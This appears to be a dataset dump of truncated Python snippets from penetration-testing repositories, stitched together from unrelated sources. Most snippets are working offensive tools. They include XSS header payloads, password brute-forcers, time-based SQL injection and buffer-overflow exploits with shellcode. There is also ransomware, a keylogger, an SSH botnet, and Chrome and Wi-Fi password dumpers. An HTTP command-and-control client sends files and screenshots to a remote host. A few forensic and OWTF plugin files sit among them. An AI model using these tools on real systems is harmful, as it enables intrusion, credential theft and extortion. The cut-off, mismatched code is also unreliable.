repo_name
stringclasses
29 values
text
stringlengths
18
367k
avg_line_length
float64
5.6
132
max_line_length
int64
11
3.7k
alphnanum_fraction
float64
0.28
0.94
cybersecurity-penetration-testing
import requests import sys url = sys.argv[1] payload = ['<script>alert(1);</script>', '<scrscriptipt>alert(1);</scrscriptipt>', '<BODY ONLOAD=alert(1)>'] headers ={} r = requests.head(url) for payload in payloads: for header in r.headers: headers[header] = payload req = requests.post(url, headers=headers)
27.636364
108
0.697452
Mastering-Machine-Learning-for-Penetration-Testing
# Display "Hello, world!" import tensorflow as tf Message = tf.constant("Hello, world!") sess = tf.Session() print(sess.run(Message))
21.5
38
0.716418
Effective-Python-Penetration-Testing
import zipfile filename = 'test.zip' dictionary = 'passwordlist.txt' password = None file_to_open = zipfile.ZipFile(filename) with open(dictionary, 'r') as f: for line in f.readlines(): password = line.strip('\n') try: file_to_open.extractall(pwd=password) password = 'Password found: %s' % password prin...
20.8125
45
0.698276
Python-Penetration-Testing-for-Developers
#!/usr/bin/env python ''' Author: Christopher Duffy Date: April 2015 tftp_download.py Purpose: To run through a range of possible files and try and download them over TFTP. Copyright (c) 2015, Christopher Duffy All rights reserved. Redistribution and use in source and binary forms, with or without modification, are ...
44.625
89
0.742348
Effective-Python-Penetration-Testing
# Importing required modules import requests from bs4 import BeautifulSoup import urlparse response = requests.get('http://www.freeimages.co.uk/galleries/food/breakfast/index.htm') parse = BeautifulSoup(response.text) # Get all image tags image_tags = parse.find_all('img') # Get urls to the images images = [ u...
24.28125
91
0.694307
cybersecurity-penetration-testing
''' Copyright (c) 2016 Chet Hosmer Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distri...
30.707106
143
0.55111
cybersecurity-penetration-testing
#!/usr/bin/python # # Simple script for making "Copy as curl command" output in system's clipboard a little nicer\ # To use it: # - firstly right click on request in BurpSuite # - select "Copy as curl command" # - then launch this script. # As a result, you'll have a bit nicer curl command in your clipboard. # try: ...
24.272727
94
0.612961
Python-Penetration-Testing-for-Developers
import threading import time import socket, subprocess,sys from datetime import datetime import thread import shelve '''section 1 ''' subprocess.call('clear',shell=True) shelf = shelve.open("mohit.raj") data=(shelf['desc']) #shelf.sync() '''section 2 ''' class myThread (threading.Thread): def __init__(self, threadN...
23.160305
87
0.604298
owtf
""" GREP Plugin for Testing for application configuration management (OWASP-CM-004) <- looks for HTML Comments https://www.owasp.org/index.php/Testing_for_application_configuration_management_%28OWASP-CM-004%29 NOTE: GREP plugins do NOT send traffic to the target and only grep the HTTP Transaction Log """ from owtf.plu...
35.428571
106
0.734293
cybersecurity-penetration-testing
#brute force username enumeration import sys import urllib import urllib2 if len(sys.argv) !=2: print "usage: %s filename" % (sys.argv[0]) sys.exit(0) filename=str(sys.argv[1]) userlist = open(filename,'r') url = "http://www.vulnerablesite.com/forgotpassword.html" foundusers = [] UnknownStr="Username not foun...
19.484848
57
0.712593
cybersecurity-penetration-testing
''' Copyright (c) 2016 Chet Hosmer Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribu...
28.141026
103
0.702905
Python-Penetration-Testing-for-Developers
import subprocess import sys ipfile = sys.argv[1] IPs = open(ipfile, "r") output = open("sslscan.csv", "w+") for IP in IPs: try: command = "sslscan "+IP ciphers = subprocess.check_output(command.split()) for line in ciphers.splitlines(): if "Accepted" in line: output.write(IP+","+line.split()[1]+","...
18.947368
85
0.632275
owtf
from owtf.plugin.helper import plugin_helper DESCRIPTION = "Plugin to assist manual testing" def run(PluginInfo): Content = plugin_helper.HtmlString("Intended to show helpful info in the future") return Content
23.777778
85
0.765766
Mastering-Machine-Learning-for-Penetration-Testing
import pandas as pd import yellowbrick as yb from sklearn.model_selection import train_test_split from sklearn import preprocessing from sklearn.ensemble import RandomForestClassifier from sklearn.cross_validation import train_test_split Columns = ["duration","protocol_type","service","flag","src_bytes", "dst_by...
42
86
0.720147
Python-Penetration-Testing-for-Developers
import socket import struct s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) host = "192.168.0.1" port =12347 s.connect((host,port)) msg= s.recv(1024) print msg print struct.unpack('hhl',msg) s.close()
19.8
53
0.729469
Mastering-Machine-Learning-for-Penetration-Testing
import pandas as pd import numpy as np data = np.array(['p','a','c','k',’t’]) SR = pd.Series(data) print SR
17.166667
38
0.62963
owtf
""" owtf.utils.commands ~~~~~~~~~~~~~~~~~~~ """ import os def get_command(argv): """Format command to remove directory and space-separated arguments. :params list argv: Arguments for the CLI. :return: Arguments without directory and space-separated arguments. :rtype: list """ return " ".j...
17.75
72
0.644385
cybersecurity-penetration-testing
import optparse from scapy.all import * from random import randint def ddosTest(src, dst, iface, count): pkt=IP(src=src,dst=dst)/ICMP(type=8,id=678)/Raw(load='1234') send(pkt, iface=iface, count=count) pkt = IP(src=src,dst=dst)/ICMP(type=0)/Raw(load='AAAAAAAAAA') send(pkt, iface=iface, count=coun...
27.135802
65
0.588235
owtf
""" owtf.models.error ~~~~~~~~~~~~~~~~~ """ from owtf.lib.exceptions import InvalidErrorReference from sqlalchemy import Boolean, Column, Integer, String from owtf.db.model_base import Model from owtf.db.session import flush_transaction class Error(Model): __tablename__ = "errors" id = Column(Integer, prim...
29.014286
81
0.619524
cybersecurity-penetration-testing
# Transposition Cipher Encrypt/Decrypt File # http://inventwithpython.com/hacking (BSD Licensed) import time, os, sys, transpositionEncrypt, transpositionDecrypt def main(): inputFilename = 'frankenstein.txt' # BE CAREFUL! If a file with the outputFilename name already exists, # this program will ...
37.166667
91
0.653398
Ethical-Hacking-Scripts
import paramiko, socket, threading, sys, os from optparse import OptionParser class SSH_Botnet: def __init__(self, passw_txt, capture_output): self.pass_list = passw_txt self.cwd = os.getcwd() self.passwords = self.configure_passwords() self.ssh_bots = [] self.ips = [...
43.387187
173
0.443517
Advanced-Infrastructure-Penetration-Testing
#!/usr/env python ############################################################################################################### ## [Title]: linuxprivchecker.py -- a Linux Privilege Escalation Check Script ## [Author]: Mike Czumak (T_v3rn1x) -- @SecuritySift ##---------------------------------------------------------...
66.841823
248
0.614172
PenetrationTestingScripts
#coding=utf-8 import time import threading from printers import printPink,printGreen from impacket.smbconnection import * from multiprocessing.dummy import Pool from threading import Thread class smb_burp(object): def __init__(self,c): self.config=c self.lock=threading.Lock() self.res...
32.833333
125
0.529363
Python-Penetration-Testing-for-Developers
#!/usr/bin/python msg = raw_input('Please enter the string to encode: ') print "Your B64 encoded string is: " + msg.encode('base64')
26
59
0.69403
cybersecurity-penetration-testing
#!/usr/bin/python # -*- coding: utf-8 -*- import os import sqlite3 import optparse def isMessageTable(iphoneDB): try: conn = sqlite3.connect(iphoneDB) c = conn.cursor() c.execute('SELECT tbl_name FROM sqlite_master \ WHERE type==\"table\";') for row in c: if '...
24.612903
56
0.516698
cybersecurity-penetration-testing
import mechanize import shelve br = mechanize.Browser() br.set_handle_robots( False ) url = raw_input("Enter URL ") br.set_handle_equiv(True) br.set_handle_gzip(True) #br.set_handle_redirect(False) br.set_handle_referer(True) br.set_handle_robots(False) br.open(url) s = shelve.open("mohit.xss",writeback=True) for form ...
19.755102
67
0.647638
PenetrationTestingScripts
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Author : jeffzhang # @Time : 18-5-10 # @File : index.py # @Desc : "" from flask import Blueprint, redirect, url_for from fuxi.views.authenticate import login_check index = Blueprint('index', __name__) @index.route('/index') @login_check def view_index(): ...
19.125
56
0.659751
hackipy
#!/usr/bin/python3 try: print("[>] Importing required modules") import scapy.all as scapy import netfilterqueue import subprocess import argparse except ModuleNotFoundError: print("[!] Missing modules, Exiting...") exit() else: print("[>] Modules successfully imported") ################...
37.676829
217
0.638127
cybersecurity-penetration-testing
import multiprocessing import time def f(x): t = 0 while t < 10: print "Running ", x, "-", t t += 1 time.sleep(x) if __name__ == '__main__': p1 = multiprocessing.Process(target=f, args=(1,)) p2 = multiprocessing.Process(target=f, args=(2,)) p1.start() time.sleep(0.5) ...
18.291667
53
0.528139
PenetrationTestingScripts
# -*- coding: utf-8 -*- # Generated by Django 1.9.1 on 2016-01-08 05:58 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('nmaper', '0007_nmapscan_slug_text'), ] operations = [ migrations.RemoveField...
22.269231
63
0.566225
cybersecurity-penetration-testing
import win32com.client import time import urlparse import urllib data_receiver = "http://localhost:8080/" target_sites = {} target_sites["www.facebook.com"] = \ {"logout_url" : None, "logout_form" : "logout_form", "login_form_index": 0, "owned" : False} target_sites["accounts.g...
29.3375
136
0.550289
SNAP_R
# THIS PROGRAM IS TO BE USED FOR EDUCATIONAL PURPOSES ONLY. # CAN BE USED FOR INTERNAL PEN-TESTING, STAFF RECRUITMENT, SOCIAL ENGAGEMENT import sklearn.pipeline import sklearn.metrics import sklearn.cluster import datetime import sklearn.metrics import sklearn.grid_search import sklearn.base import sklearn.feature_ext...
40.521739
78
0.585087
Hands-On-Penetration-Testing-with-Python
#!/usr/bin/python import socket buffer=["A"] counter=100 buf = "" buf += "\xd9\xc8\xbd\xad\x9f\x5d\x89\xd9\x74\x24\xf4\x5a\x33" buf += "\xc9\xb1\x52\x31\x6a\x17\x03\x6a\x17\x83\x6f\x9b\xbf" buf += "\x7c\x93\x4c\xbd\x7f\x6b\x8d\xa2\xf6\x8e\xbc\xe2\x6d" buf += "\xdb\xef\xd2\xe6\x89\x03\x98\xab\x39\x97\xec\x63\...
35.885246
61
0.650956
cybersecurity-penetration-testing
import subprocess import sys ipfile = sys.argv[1] IPs = open(ipfile, "r") output = open("sslscan.csv", "w+") for IP in IPs: try: command = "sslscan "+IP ciphers = subprocess.check_output(command.split()) for line in ciphers.splitlines(): if "Accepted" in line: output.write(IP+","+line.split()[1]+","...
18.947368
85
0.632275
cybersecurity-penetration-testing
import exif_parser import id3_parser import office_parser
18.333333
20
0.859649
owtf
from owtf.plugin.helper import plugin_helper DESCRIPTION = "Plugin to assist manual testing" def run(PluginInfo): Content = plugin_helper.HtmlString("Intended to show helpful info in the future") return Content
23.777778
85
0.765766
Penetration_Testing
#!/usr/bin/python ''' Caesar Cipher encryption and decryption. ''' import sys def getOption(): do = raw_input("Do you wish to encrypt or decrypt a message?\n").lower() if do in "encrypt e decrypt d".split(): return do elif do in "No no Quit quit exit Exit".split(): sys.exit(0) else: print "Enter either ...
15.887324
73
0.616027
Ethical-Hacking-Scripts
import subprocess, re item = subprocess.run(["netsh","wlan","show","profiles"],capture_output=True).stdout.decode() prof_names = (re.findall("All User Profile : (.*)\r", item)) passwords = [] check_networks = [] for i in prof_names: item = subprocess.run(["netsh", "wlan", "show", "profiles",i], capture_ou...
40.833333
112
0.60319
cybersecurity-penetration-testing
from datetime import datetime import os from time import gmtime, strftime from PIL import Image import processors __author__ = 'Preston Miller & Chapin Bryce' __date__ = '20160401' __version__ = 0.01 __description__ = 'This scripts parses embedded EXIF metadata from compatible objects' def exifParser(filename): ...
47.945313
117
0.562101
Python-Penetration-Testing-Cookbook
from scapy.all import * host = 'www.dvwa.co.uk' ip = socket.gethostbyname(host) openp = [] filterdp = [] common_ports = { 21, 22, 23, 25, 53, 69, 80, 88, 109, 110, 123, 137, 138, 139, 143, 156, 161, 389, 443, 445, 500, 546, 547, 587, 660, 995, 993, 2086, 2087, 208...
26.873016
105
0.500285
cybersecurity-penetration-testing
import requests times = [] answer = "Kicking off the attempt" cookies = {'cookie name': 'Cookie value'} payload = {'injection': '\'or sleep char_length(password);#', 'Submit': 'submit'} req = requests.post(url, data=payload, cookies=cookies) firstresponsetime = str(req.elapsed) for x in range(1, firstresponsetime):...
29.666667
98
0.696734
Penetration-Testing-with-Shellcode
#!/usr/bin/python import socket import sys shellcode = "\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x48\x10\x31\xdb\x8b\x59\x3c\x01\xcb\x8b\x5b\x78\x01\xcb\x8b\x73\x20\x01\xce\x31\xd2\x42\xad\x01\xc8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x7...
78.0625
983
0.734177
cybersecurity-penetration-testing
#!/usr/bin/python import socket NSRL_SERVER='127.0.0.1' NSRL_PORT=9120 def nsrlquery(md5hashes): """Query the NSRL server and return a list of booleans. Arguments: md5hashes -- The list of MD5 hashes for the query. """ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((NSRL_SE...
21.131579
59
0.560714
hackipy
#!/usr/bin/python3 try: print("[>] Importing required modules") from utilities import is_root, nothing, get_ip_range, arp_scan, parse_responses, show_result import argparse except ModuleNotFoundError: print("[!] Missing modules, Exiting...") exit() else: print("[>] Modules Successfully imported...
30.181818
110
0.564414
cybersecurity-penetration-testing
import binascii import logging __author__ = 'Preston Miller & Chapin Bryce' __date__ = '20160401' __version__ = 0.01 def checkHeader(filename, headers, size): """ The checkHeader function reads a supplied size of the file and checks against known signatures to determine the file type. :param filename...
30.840909
111
0.624286
cybersecurity-penetration-testing
#!/usr/bin/python # # Copyright (C) 2015 Michael Spreitzenbarth (research@spreitzenbarth.de) # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your opti...
35.178947
144
0.676077
owtf
""" AJAX testing """ from owtf.managers.resource import get_resources from owtf.plugin.helper import plugin_helper DESCRIPTION = "AJAX Plugin to assist manual testing" def run(PluginInfo): resource = get_resources("ExternalAJAX") Content = plugin_helper.resource_linklist("Online Resources", resource) ret...
22.785714
75
0.759036
cybersecurity-penetration-testing
#!/usr/bin/python import requests import datetime import string import sys ALPHABET = string.printable RETRIES = 1 def fetch(url, username, password): a = datetime.datetime.now() r = requests.get(url, auth=requests.auth.HTTPBasicAuth(username, password)) if r.status_code == 200: return 0 b = ...
26.377358
79
0.496552
PenTesting
from hashlib import sha256 from re import subn def hash(word): word = subn('\r','',word)[0] word = subn('\n','',word)[0] m = sha256(word) return {m.hexdigest():word}
19.444444
32
0.595628
Python-for-Offensive-PenTest
# Python For Offensive PenTest # Installing win32crypt # http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/ # Dumping Google Chrome Passwords from os import getenv # To find out the Chrome SQL path which is >> C:\Users\%USERNAME%\AppData\Local\Google\Chrome\User Data\Default\Login Data import sqlite...
39.4375
153
0.752577
cybersecurity-penetration-testing
from scapy.all import * interface ='mon0' probe_req = [] ap_name = raw_input("Please enter the AP name ") def probesniff(fm): if fm.haslayer(Dot11ProbeReq): client_name = fm.info if client_name == ap_name : if fm.addr2 not in probe_req: print "New Probe Request: ", client_name print "MAC ", fm.addr2 ...
25.2
48
0.681122
PenetrationTestingScripts
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Author : jeffzhang # @Time : 18-5-14 # @File : parse_plugin.py # @Desc : "" import os import re from fuxi.views.lib.mongo_db import connectiondb, db_name_conf from flask import Flask app = Flask(__name__) plugin_db = db_name_conf()['plugin_db'] def parse_p...
31.5625
83
0.56505
PenetrationTestingScripts
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Author : jeffzhang # @Time : 18-5-21 # @File : get_title.py # @Desc : "" import requests import re class TitleParser: def __init__(self, target): self.target = target self.title = '' def parser_title(self): try: r...
21.837838
66
0.527251
owtf
""" owtf.managers.resource ~~~~~~~~~~~~~~~~~~~~~~ Provides helper functions for plugins to fetch resources. """ import logging import os from owtf.db.session import get_scoped_session from owtf.managers.config import get_conf from owtf.models.resource import Resource from owtf.utils.file import FileOperations from owt...
31.454545
108
0.677155
Hands-On-Penetration-Testing-with-Python
#!/usr/bin/python # Payload generator ## Total payload length payload_length = 424 ## Amount of nops nop_length = 100 ## Controlled memory address to return to in Little Endian format #0x7fffffffddc0 #0x7fffffffe120 #current 0x7fffffffdf80: 0xffffdfa0 #0x7fffffffdde0 #return_address = '\x20\xe1\xff\xff\xff\x7f\x00\x0...
41.121951
419
0.735805
owtf
""" ACTIVE Plugin for Generic Unauthenticated Web App Fuzzing via Arachni This will perform a "low-hanging-fruit" pass on the web app for easy to find (tool-findable) vulns """ from owtf.managers.resource import get_resources from owtf.plugin.helper import plugin_helper DESCRIPTION = "Active Vulnerability Scanning wi...
33.066667
98
0.77451
Effective-Python-Penetration-Testing
import hmac import hashlib digest_maker = hmac.new('secret-key', '', hashlib.sha256) f = open('sample-file.txt', 'rb') try: while True: block = f.read(1024) if not block: break digest_maker.update(block) finally: f.close() digest = digest_maker.hexdigest() print digest
17.647059
57
0.620253
cybersecurity-penetration-testing
#!/usr/bin/python # -*- coding: utf-8 -*- import pyPdf import optparse from pyPdf import PdfFileReader def printMeta(fileName): pdfFile = PdfFileReader(file(fileName, 'rb')) docInfo = pdfFile.getDocumentInfo() print '[*] PDF MetaData For: ' + str(fileName) for metaItem in docInfo: print '[+] '...
22.363636
60
0.609091
Ethical-Hacking-Scripts
from cryptography.fernet import Fernet import os, sys class RansomWare: def __init__(self): self.f = b'QAYEFKLQT469LdHWIs4ZG7xKrDr8JRzMTwNFvoQFILg=' self.fernet = Fernet(self.f) self.dirlist = [] self.file_list = [] input("[+] This Ransomware can seriously F up your c...
39.078125
148
0.358354
Python-Penetration-Testing-for-Developers
#!/usr/bin/env python ''' Author: Christopher S. Duffy Date: March 2015 Name: username_generator.py Purpose: To generate a username list from the US Census Top 1000 surnames and other lists Copyright (c) 2015, Christopher Duffy All rights reserved. Redistribution and use in source and binary forms, with or without mo...
43.00995
253
0.660373
PenTestScripts
#!/usr/bin/env python import win32console import win32gui import pythoncom import pyHook # This is completely based off the code at this URL (with very minor mods) # https://github.com/blaz1988/keylogger/blob/master/keylogger.py win=win32console.GetConsoleWindow() win32gui.ShowWindow(win,0) def OnKeyboardEvent(event...
25.764706
74
0.673267
PenetrationTestingScripts
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Author : jeffzhang # @Time : 18-5-10 # @File : mongo_db.py # @Desc : "" from flask import Flask from pymongo import MongoClient from instance import config ProductionConfig = config.ProductionConfig app = Flask(__name__) app.config.from_object(ProductionConfi...
27.917808
51
0.627488
Python-Penetration-Testing-for-Developers
#brute force passwords import sys import urllib import urllib2 if len(sys.argv) !=3: print "usage: %s userlist passwordlist" % (sys.argv[0]) sys.exit(0) filename1=str(sys.argv[1]) filename2=str(sys.argv[2]) userlist = open(filename1,'r') passwordlist = open(filename2,'r') url = "http://www.vulnerablesite.com/...
21.029412
59
0.712567
Broken-Droid-Factory
import os import random import re import randomword class patcher(): ''' An interface to be inherited by other patchers, including shared features. All patchers should also have a difficulty and a patch function (patch functions should return a string detailing what they did). ''' name = None ...
43.20354
162
0.553509
PenetrationTestingScripts
# Taken from Python 2.6.4 and regexp module constants modified """A parser for SGML, using the derived class as a static DTD.""" # XXX This only supports those SGML features used by HTML. # XXX There should be a way to distinguish between PCDATA (parsed # character data -- the normal case), RCDATA (replaceable charac...
31.5875
79
0.506795
owtf
""" owtf.models.test_group ~~~~~~~~~~~~~~~~~~~~~~ """ from sqlalchemy import Column, Integer, String from sqlalchemy.orm import relationship from owtf.db.model_base import Model class TestGroup(Model): __tablename__ = "test_groups" code = Column(String, primary_key=True) group = Column(String) # web, ...
23.723404
88
0.596899
Hands-On-Penetration-Testing-with-Python
#!/usr/bin/python3.5 a=22;b=44;c=55;d=None if a and b and c and d: print("Not printed") else: print('Remember and operator -> All must evaluate to True !') if a == b: print("A and B are equal") else: print("A and B are not equal ! But we saw how to use == :)") print("\nLets use some Bit wise operators with conditio...
25
77
0.65127
Ethical-Hacking-Scripts
import sqlite3, socket, threading, sys class WebServer: def __init__(self): self.logo() self.valid = False self.name_list = ["admin adminpassword123456", "bobby cheeseburger69", "david 19216801", "mine craft", "jerry password", "tom jerry"] self.names = ["admin","bobby","david","min...
48.302632
157
0.438943
cybersecurity-penetration-testing
import csv import os import logging __author__ = 'Preston Miller & Chapin Bryce' __date__ = '20160401' __version__ = 0.01 def csvWriter(output_data, headers, output_dir, output_name): """ The csvWriter function uses the csv.DictWriter module to write the list of dictionaries. The DictWriter can take a fie...
37.90625
111
0.687299
Mastering-Machine-Learning-for-Penetration-Testing
import socket, struct, sys import numpy as np import pickle def loaddata(fileName): file = open(fileName, 'r') xdata = [] ydata = [] xdataT = [] ydataT = [] flag=0 count1=0 count2=0 count3=0 count4=0 #dicts to convert protocols and state to integers protoDict = {...
65.427083
3,337
0.507058
Effective-Python-Penetration-Testing
import nmap # import nmap.py module nmap = nmap.PortScanner() host = '127.0.0.1' nmap.scan(host, '1-1024') print nmap.command_line() print nmap.scaninfo() for host in nmap.all_hosts(): print('Host : %s (%s)' % (host, nmap[host].hostname())) print('State : %s' % nmap[host].state()) for ...
26.35
77
0.606227
cybersecurity-penetration-testing
import sys import os import nmap with open("./nmap_output.xml", "r") as fd: content = fd.read() nm.analyse_nmap_xml_scan(content) print(nm.csv())
19.375
42
0.635802
Python-for-Offensive-PenTest
# Python For Offensive PenTest # Searching for Content import requests import subprocess import os import time while True: req = requests.get('http://10.0.2.15') command = req.text if 'terminate' in command: break elif 'grab' in command: grab,path=command.split('*') ...
33.868421
141
0.596074
owtf
""" GREP Plugin for Logout and Browse cache management NOTE: GREP plugins do NOT send traffic to the target and only grep the HTTP Transaction Log """ from owtf.plugin.helper import plugin_helper DESCRIPTION = "Searches transaction DB for Cache snooping protections" def run(PluginInfo): title = "This plugin look...
33.8
104
0.755396
cybersecurity-penetration-testing
__author__ = 'Preston Miller & Chapin Bryce' import wal_crawler import setupapi import userassist import exif import id3 import office import pst_indexer
14.6
44
0.793548
owtf
""" owtf.api.handlers.report ~~~~~~~~~~~~~~~~~~~~~~~~ """ import collections from collections import defaultdict from time import gmtime, strftime from owtf.api.handlers.base import APIRequestHandler from owtf.constants import RANKS, MAPPINGS, SUPPORTED_MAPPINGS from owtf.lib import exceptions from owtf.lib.exception...
35.637097
96
0.57904
owtf
from owtf.managers.resource import get_resources from owtf.plugin.helper import plugin_helper DESCRIPTION = "Plugin to assist manual testing" def run(PluginInfo): resource = get_resources("ExternalSessionManagement") Content = plugin_helper.resource_linklist("Online Resources", resource) return Content
28.090909
75
0.783699
Penetration-Testing-with-Shellcode
#!/usr/bin/python import socket server = '192.168.214.5' sport = 9999 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect = s.connect((server, sport)) print s.recv(1024) s.send(('TRUN .' + 'A'*50 + '\r\n')) print s.recv(1024) s.send('EXIT\r\n') print s.recv(1024) s.close()
22.666667
53
0.667845
Ethical-Hacking-Scripts
import socket, threading, sys, ipaddress, time, os from optparse import OptionParser from scapy.all import * class Port_Scanner: def __init__(self, ip, ports): self.ip = str(ip) self.logfile = "squidmap.txt" file = open(self.logfile,"w") file.close() self.isnetwork =...
39.731132
115
0.446491
Python-Penetration-Testing-Cookbook
import sys from scapy.all import * interface = "en0" source_ip = "192.168.1.1" destination_ip = "192.168.1.35" def getMAC(IP, interface): answerd, unanswered = srp(Ether(dst = "ff:ff:ff:ff:ff:ff")/ARP(pdst = IP), timeout = 5, iface=interface, inter = 0.1) for send,recieve in answerd: return recieve.s...
29.7125
121
0.617264
cybersecurity-penetration-testing
import socket host = "192.168.0.1" port = 12346 s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: s.bind((host,port)) s.settimeout(5) data, addr = s.recvfrom(1024) print "recevied from ",addr print "obtained ", data s.close() except socket.timeout : print "Client not connected" s.close()
18.3125
52
0.694805
Python-Penetration-Testing-for-Developers
import urllib2 GOOGLE_API_KEY = "{Insert your Google API key}" target = "packtpub.com" api_response = urllib2.urlopen("https://www.googleapis.com/plus/v1/people?query="+target+"&key="+GOOGLE_API_KEY).read() api_response = api_response.split("\n") for line in api_response: if "displayName" in line: print l...
35
119
0.705882
cybersecurity-penetration-testing
''' MP3-ID3Forensics Python Script (written completely in Python) For the extraction of meta data and potential evidence hidden in MP3 files specifically in the ID3 Headers Author C. Hosmer Python Forensics Copyright (c) 2015-2016 Chet Hosmer / Python Forensics, Inc. Permission is hereby granted, free of c...
34.978287
176
0.450796
cybersecurity-penetration-testing
''' Copyright (c) 2016 Chet Hosmer Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distri...
32.848485
104
0.560964
cybersecurity-penetration-testing
__author__ = 'Preston Miller & Chapin Bryce' __date__ = '20151107' __version__ = 0.01 __description__ = 'KML Writer' import os import simplekml def writer(output, output_name, output_data): """ The writer function writes JPEG and TIFF EXIF GPS data to a Google Earth KML file. This file can be opened in G...
34.045455
149
0.583387
cybersecurity-penetration-testing
# Transposition Cipher Hacker # http://inventwithpython.com/hacking (BSD Licensed) import pyperclip, detectEnglish, transpositionDecrypt def main(): # You might want to copy & paste this text from the source code at # http://invpy.com/transpositionHacker.py myMessage = """Cb b rssti aieih rooaopbr...
45.94
785
0.680733
cybersecurity-penetration-testing
# Volatility # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or (at # your option) any later version. # # This program is distributed in the hope that it will ...
38.323529
97
0.662926
PenetrationTestingScripts
"""Response classes. The seek_wrapper code is not used if you're using UserAgent with .set_seekable_responses(False), or if you're using the urllib2-level interface HTTPEquivProcessor. Class closeable_response is instantiated by some handlers (AbstractHTTPHandler), but the closeable_response interface is only depende...
32.847909
80
0.598101
Python-Penetration-Testing-for-Developers
#!/usr/bin/python string = "TaPoGeTaBiGePoHfTmGeYbAtPtHoPoTaAuPtGeAuYbGeBiHoTaTmPtHoTmGePoAuGeErTaBiHoAuRnTmPbGePoHfTmGeTmRaTaBiPoTmPtHoTmGeAuYbGeTbGeLuTmPtTmPbTbOsGePbTmTaLuPtGeAuYbGeAuPbErTmPbGeTaPtGePtTbPoAtPbTmGeTbPtErGePoAuGeYbTaPtErGePoHfTmGeHoTbAtBiTmBiGeLuAuRnTmPbPtTaPtLuGePoHfTaBiGeAuPbErTmPbPdGeTbPtErGePoHfT...
61.857143
529
0.764973
cybersecurity-penetration-testing
import binascii import logging __author__ = 'Preston Miller & Chapin Bryce' __date__ = '20160401' __version__ = 0.01 def checkHeader(filename, headers, size): """ The checkHeader function reads a supplied size of the file and checks against known signatures to determine the file type. :param filename:...
32.309524
111
0.625179
Effective-Python-Penetration-Testing
import os,sys from PIL import Image from PIL.ExifTags import TAGS for (i,j) in Image.open('image.jpg')._getexif().iteritems(): print '%s = %s' % (TAGS.get(i), j)
23.571429
60
0.643275
Python-for-Offensive-PenTest
''' Installing Pillow C:\Users\hkhrais>pip install Pillow ''' # Python For Offensive PenTest # Screen Capturing import requests import subprocess import os import time from PIL import ImageGrab # Used to Grab a screenshot import tempfile # Used to Create a temp directory import shutil # ...
26.25
123
0.597192
PenetrationTestingScripts
# -*- coding: utf-8 -*- # Generated by Django 1.9.1 on 2016-01-07 23:16 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('nmaper', '0004_nmapscan_status_text'), ] operations = [ migrations.AddField(...
22.636364
69
0.60501
Python-Penetration-Testing-for-Developers
#!/usr/bin/env python ''' Author: Chris Duffy Date: May 2015 Name: wrapper_exploit.py Purpose: An sample exploit for wrapping around a binary execution Copyright (c) 2015, Christopher Duffy All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided th...
48.902439
89
0.780929
Python-Penetration-Testing-for-Developers
#!/usr/bin/env python ''' Author: Christopher Duffy Date: June 2015 Name: multi_threaded.py Purpose: To identify live web applications with a list of IP addresses, using concurrent threads Copyright (c) 2015, Christopher Duffy All rights reserved. Redistribution and use in source and binary forms, with or without mod...
51.992958
165
0.604466
owtf
""" JSON Web Token auth for Tornado """ from sqlalchemy.sql.functions import user from owtf.models.user_login_token import UserLoginToken import jwt from owtf.settings import JWT_SECRET_KEY, JWT_OPTIONS from owtf.db.session import Session def jwtauth(handler_class): """Decorator to handle Tornado JWT Authenti...
34.625
97
0.534006
Python-Penetration-Testing-for-Developers
import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) host = "192.168.0.1" port =12345 s.connect((host,port)) print s.recv(1024) s.send("Hello Server") s.close()
18.666667
53
0.715909
Python-Penetration-Testing-Cookbook
from scapy.all import * from pprint import pprint network = IP(dst = '192.168.1.1') transport = ICMP() packet = network/transport send(packet)
17.125
33
0.729167
Hands-On-Penetration-Testing-with-Python
#! /usr/bin/python3.6 from abc import ABC, abstractmethod class QueueAbs(ABC): def __init__(self): self.buffer=[] def printItems(self): for item in self.buffer: print(item) @abstractmethod def enqueue(self,item): pass @abstractmethod def dequeue(self): pass class Queue(QueueAbs): def __init__(self...
13.640625
41
0.641026
Hands-On-Penetration-Testing-with-Python
import struct import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) buf = "" buf += "\x99\x98\xf5\x41\x48\x9f\x2f\xfc\x9f\xf8\x48\x31\xc9" buf += "\x48\x81\xe9\xd7\xff\xff\xff\x48\x8d\x05\xef\xff\xff" buf += "\xff\x48\xbb\xb2\xa2\x05\x72\xca\x9c\x6b\xde\x48\x31" buf += "\x58\x27\x48\x2d\xf8\xff\xff\xf...
44.215686
63
0.659436